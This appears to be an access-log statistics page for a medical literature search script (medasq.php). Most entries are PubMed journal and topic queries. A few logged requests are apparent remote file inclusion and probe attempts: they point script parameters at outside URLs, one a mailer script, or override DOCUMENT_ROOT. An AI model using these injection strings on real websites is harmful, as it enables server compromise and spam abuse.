37: : 9-Ago-10 10:28: /medasq.php?z=J+Cell+Mol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 12-Ago-10 23:54: /medasq.php?z=J+Reprod+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 28-Lug-10 05:29: /medasq.php?z=Brain+Res+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 7-Set-10 18:25: /medasq.php?z=(arch gen psychiatry [ta] OR am j psychiatry [ta] OR schizophr bull [ta] OR j clin psychiatry [ta] OR br j psychiatry [ta] OR psychosom med [ta] OR psychol med [ta] OR biol psychiatry [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
37: : 3-Set-10 23:31: /medasq.php?z=Z+Kardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 6-Set-10 12:16: /medasq.php?z=Cardiovasc+Drugs+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 15-Ago-10 15:42: /medasq.php?z=Am+J+Cardiovasc+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 17-Ago-10 22:13: /medasq.php?z=Arch+Psychiatr+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 20-Lug-10 13:02: /medasq.php?z=Naunyn+Schmiedebergs+Arch+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 13-Ago-10 04:05: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
36: : 7-Set-10 07:28: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
36: : 24-Ago-10 19:07: /medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
36: : 6-Apr-10 04:22: /medasq.php?z=http://schoolpapers.hostinginfive.com/bike.htm?
36: : 20-Ago-10 09:34: /medasq.php?z=Drugs+R+D&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 19-Ago-10 09:30: /medasq.php?z=Environ+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 5-Set-10 12:33: /medasq.php?z=Curr+Med+Res+Opin&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 25-Ago-10 20:45: /medasq.php?z=&abstract=1&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
36: : 3-Set-10 09:02: /medasq.php?z=Obes+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 17-Ago-10 21:52: /medasq.php?z=Mult+Scler&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 3-Set-10 01:48: /medasq.php?z=Chin+Med+J+(Engl)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 29-Ago-10 19:26: /medasq.php?z=Schizophr+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 25-Ago-10 20:51: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
36: : 16-Lug-10 15:38: /medasq.php?abstract=0&azione=Show&daevidenziare=oxybate+alcohol&dovesiamo=0&highlight=2&quanti=50&z=sodium+oxybate+[mesh]+and+alcohol-related+disorders+[mesh]
36: : 13-Ago-10 03:55: /medasq.php?z=Infusionsther+Transfusionsmed&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 19-Ago-10 21:46: /medasq.php?z=JALA+Charlottesv+Va&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 17-Ago-10 23:34: /medasq.php?z=Fiziol+Zh&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
36: : 17-Ago-10 08:30: /medasq.php?z=Clin+Pharmacokinet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 7-Set-10 02:28: /medasq.php?z=Oncologist&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 21-Ago-10 07:47: /medasq.php?z=Brain+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 9-Ago-10 17:34: /medasq.php?z=Transfusion&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 24-Ago-10 01:44: /medasq.php?z=Amino+Acids&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 28-Ago-10 01:17: /medasq.php?z=Caries+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 4-Set-10 02:22: /medasq.php?z=Tijdschr+Psychiatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 29-Ago-10 16:07: /medasq.php?z=Womens+Health+(Lond+Engl)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 18-Ago-10 11:39: /medasq.php?z=Nutr+Clin+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 3-Set-10 15:27: /medasq.php?z=Biochem+Soc+Trans&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 16-Ago-10 12:22: /medasq.php?z=Am+J+Respir+Cell+Mol+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 25-Ago-10 20:57: /medasq.php?z=Child+Care+Health+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 19-Ago-10 03:54: /medasq.php?z=Clin+Exp+Pharmacol+Physiol+Suppl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
35: : 3-Set-10 12:53: /medasq.php?z=J Pediatr&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
34: : 23-Ago-10 15:01: /medasq.php?z=Clin+Invest+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 25-Ago-10 20:46: /medasq.php?z=Sex+Transm+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 25-Ago-10 20:53: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
34: : 5-Set-10 19:31: /medasq.php?z=(blood [ta] OR thromb haemost [ta] OR transfusion [ta] OR br j haematol [ta] OR leukemia [ta] OR semin hematol [ta] OR eur j haematol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
34: : 25-Lug-10 01:46: /medasq.php?z=Scand+J+Infect+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 16-Ago-10 09:04: /medasq.php?z=Reprod+Nutr+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 31-Ago-10 03:10: /medasq.php?z=Fundam+Clin+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 30-Ago-10 04:50: /medasq.php?z=Acta+Pol+Pharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 3-Set-10 04:49: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=240&daevidenziare=&azione=Journals&free=
34: : 2-Set-10 13:43: /medasq.php?z=Ann+Surg+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 16-Ago-10 09:32: /medasq.php?z=J+Nutr+Educ+Behav&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
34: : 14-Ago-10 20:53: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
33: : 19-Ago-10 09:25: /medasq.php?z=Life Sci&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
33: : 13-Ago-10 03:59: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (venous insufficiency [all] | microcirculation [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
33: : 25-Ago-10 20:55: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (mental disorders [mesh] | schizophren* [all] | depression [all] | bipolar* [all] | mania* [all] | manic [all] | psychos* [all] | psychot* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
33: : 21-Ago-10 00:48: /medasq.php?z=Acta+Odontol+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 23-Ago-10 19:23: /medasq.php?z=Intensive+Care+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 19-Ago-10 19:05: /medasq.php?z=J+Neurosurg+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 21-Ago-10 23:32: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
33: : 25-Ago-10 20:49: /medasq.php?z=Clin+J+Pain&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 23-Ago-10 02:36: /medasq.php?z=J+Cardiovasc+Med+(Hagerstown)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 13-Ago-10 11:09: /medasq.php?z=Voen+Med+Zh&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 17-Ago-10 23:35: /medasq.php?z=Z+Kinder+Jugendpsychiatr+Psychother&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 17-Ago-10 21:30: /medasq.php?z=J+Chem+Phys&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 24-Ago-10 13:42: /medasq.php?z=Diabet+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
33: : 28-Ago-10 01:19: /medasq.php?z=(j orthop res [ta] OR phys ther [ta] OR spine [ta] OR osteoporos int [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
32: : 6-Set-10 08:22: /medasq.php?z=Pharmazie&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 12-Lug-10 20:55: /medasq.php?...
32: : 4-Set-10 21:33: /medasq.php?z=J+Clin+Invest&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 21-Gen-10 13:02: /medasq.php?z=http://babycaleb.fortunecity.co.uk/index.htm?
32: : 29-Ago-10 06:19: /medasq.php?z=Exp+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 25-Ago-10 20:57: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (diabetes mellitus [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
32: : 4-Set-10 20:46: /medasq.php?z=Psychiatr+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 25-Ago-10 20:51: /medasq.php?z=(j androl [ta] OR int j androl [ta] OR andrologia [ta] OR arch androl [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
32: : 6-Set-10 20:15: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Journals&free=
32: : 7-Set-10 03:54: /medasq.php?z=Curr+Pharm+Biotechnol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 31-Lug-10 18:36: /medasq.php?z=Can+J+Physiol+Pharmacol&
32: : 30-Ago-10 21:53: /medasq.php?z=J+Psychosom+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 14-Ago-10 15:04: /medasq.php?z=Epidemiology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
32: : 17-Ago-10 23:25: /medasq.php?z=Br+J+Community+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 4-Set-10 07:14: /medasq.php?z=Int+J+Food+Sci+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 5-Set-10 23:07: /medasq.php?z=Acta+Neurol+Belg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 2-Set-10 09:41: /medasq.php?z=Drugs&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
32: : 18-Ago-10 22:49: /medasq.php?z=J Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
32: : 19-Ago-10 09:26: /medasq.php?z=Bull+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
32: : 6-Set-10 20:12: /medasq.php?z=Rocz+Panstw+Zakl+Hig&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 16-Ago-10 10:49: /medasq.php?z=Reproduction&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 25-Ago-10 20:50: /medasq.php?z=(j invest dermatol [ta] OR arch dermatol [ta] OR br j dermatol [ta] OR j am acad dermatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
31: : 22-Ago-10 02:05: /medasq.php?z=Am+J+Lifestyle+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 3-Set-10 21:11: /medasq.php?z=Epilepsy+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 1-Set-10 16:21: /medasq.php?z=J+Soc+Integr+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 26-Ago-10 23:26: /medasq.php?z=Circ+Cardiovasc+Genet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 2-Set-10 08:54: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
31: : 21-Giu-09 07:26: /medasq.php?z=http://www.pierrerene.pl/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
31: : 15-Ago-10 16:44: /medasq.php?z=AIDS+Read&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 17-Ago-10 00:28: /medasq.php?z=Drug+Metab+Dispos&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 17-Ago-10 22:41: /medasq.php?z=Cardiovasc+Psychiatry+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 27-Ago-10 00:51: /medasq.php?z=J+Matern+Fetal+Neonatal+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
31: : 22-Ago-10 10:02: /medasq.php?z=Brain+Res+Bull&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 6-Set-10 12:05: /medasq.php?z=Meat+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 2-Set-10 03:39: /medasq.php?z=Neuropathology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 16-Ago-10 08:41: /medasq.php?z=Vet+Clin+North+Am+Small+Anim+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 30-Lug-10 20:50: /medasq.php?z=Circ+Shock&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 18-Ago-10 21:24: /medasq.php?z=Cancer+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 25-Ago-10 13:53: /medasq.php?z=Acta+Otolaryngol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 17-Ago-10 00:28: /medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
30: : 14-Ago-10 09:33: /medasq.php?z=J+Nerv+Ment+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 7-Set-10 06:47: /medasq.php?z=Neurochem+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 11-Ago-10 10:19: /medasq.php?z=Mol+Pain&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 25-Ago-10 20:55: /medasq.php?z=Neurotox+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 31-Ago-10 19:29: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
30: : 12-Nov-09 05:02: /medasq.php?z=http://74.208.173.138:5553/index.html?
30: : 2-Ago-10 12:19: /medasq.php?z=Am+J+Med+Genet+B+Neuropsychiatr+Genet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 22-Ago-10 20:43: /medasq.php?z=Matern+Child+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 22-Ago-10 10:16: /medasq.php?z=http://babycaleb.fortunecity.co.uk/picture.htm?
30: : 2-Set-10 03:00: /medasq.php?z=J+Physiol+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 22-Giu-10 00:22: /medasq.php?z="fasciculus+retrofl...=&dovesiamo=0&azione=Show//nucleus/xmlrpc/server.php
30: : 15-Ago-10 19:05: /medasq.php?z=Am+J+Physiol+Gastrointest+Liver+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 16-Ago-10 08:49: /medasq.php?z=Zhonghua+Xin+Xue+Guan+Bing+Za+Zhi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
30: : 25-Ago-10 23:03: /medasq.php?z=J+Neurotrauma&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 28-Ago-10 01:18: /medasq.php?z=(ann surg [ta] OR j vasc surg [ta] OR arch surg [ta] OR surgery [ta] OR am j surg [ta] OR br j surg [ta] OR j am coll surg [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
29: : 18-Ago-10 21:18: /medasq.php?z=Hypertens+Pregnancy&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 6-Set-10 23:10: /medasq.php?z=Langenbecks+Arch+Chir&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 7-Set-10 15:56: /medasq.php?z=Acta+Biol+Hung&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 6-Set-10 05:44: /medasq.php?z=Isr+J+Psychiatry+Relat+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 17-Ago-10 22:31: /medasq.php?z=Am+J+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 4-Set-10 04:32: /medasq.php?z=J+Thorac+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 29-Ago-10 20:22: /medasq.php?z=Gastroenterology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
29: : 21-Lug-10 21:51: /medasq.php?abstract=1&quanti=5&highlight=2
29: : 21-Lug-10 11:52: /medasq.php?abstract=0&quanti=50&highlight=0
29: : 2-Set-10 14:05: /medasq.php?z=J+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 17-Ago-10 00:39: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
29: : 6-Set-10 14:35: /medasq.php?z=Cancer&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
29: : 17-Ago-10 00:57: /medasq.php?z=Clin+Geriatr+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 22-Ago-10 19:55: /medasq.php?z=Am+J+Physiol+Lung+Cell+Mol+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
29: : 22-Giu-10 00:26: /medasq.php?z=cocaine+neuroadapta...n&dovesiamo=0&azione=Show//nucleus/xmlrpc/server.php
28: : 30-Ago-10 21:12: /medasq.php?z="br j addict"[Journal] OR "alcohol clin exp res"[Journal] OR "alcohol"[Journal] OR "j stud alcohol"[Journal] OR "addiction"[Journal] OR "alcohol alcohol"[Journal] OR "drug alcohol depend"[Journal] OR "int j addict"[Journal]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
28: : 28-Ago-10 13:14: /medasq.php?z=J+Occup+Med+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 25-Ago-10 20:50: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
28: : 3-Set-10 20:33: /medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare&dovesiamo=0&azione=Show
28: : 19-Ago-10 11:07: /medasq.php?z=Curr+Opin+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 6-Set-10 13:01: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
28: : 25-Ago-10 20:55: /medasq.php?z=(am j respir crit care med [ta] OR eur respir j [ta] OR thorax [ta] OR chest [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
28: : 28-Ago-10 07:20: /medasq.php?z=http://www.ktn.com.vn/htmls/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=rss@ryl.com.br
28: : 17-Ago-10 22:07: /medasq.php?z=CNS+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 17-Ago-10 22:29: /medasq.php?z=Curr+Mol+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 30-Lug-10 20:17: /medasq.php?z=Nat+Rev+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 17-Ago-10 23:45: /medasq.php?z=Arch+Gynecol+Obstet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 17-Ago-10 12:16: /medasq.php?z=J+Psychiatry+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 25-Ago-10 20:54: /medasq.php?z=(drugs [ta] OR clin pharmacol ther [ta] OR pharmacol ther [ta] OR j clin psychopharmacol [ta] OR clin pharmacokinet [ta] OR psychopharmacology [ta] OR br j clin pharmacol [ta] OR ther drug monit [ta] ) AND ( human [mesh] )&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
28: : 3-Set-10 06:20: /medasq.php?z=Exp+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 7-Set-10 22:17: /medasq.php?z=Acta+Biol+Med+Ger&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
28: : 10-Ott-09 20:39: /medasq.php?z=J+Fam+Pract&abstract=1&qua…///?_SERVER[DOCUMENT_ROOT]=http://www.diakonia-jkt.sch.id/upload/id1???
28: : 14-Ago-10 14:46: /medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
28: : 21-Lug-10 09:30: /medasq.php?abstract=0&quanti=5&highlight=1
28: : 17-Ago-10 00:28: /medasq.php?z=J+Cardiovasc+Risk&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 7-Set-10 13:14: /medasq.php?z=Med+Pregl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 28-Ago-10 00:27: /medasq.php?z=Nutr+Metab+(Lond)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
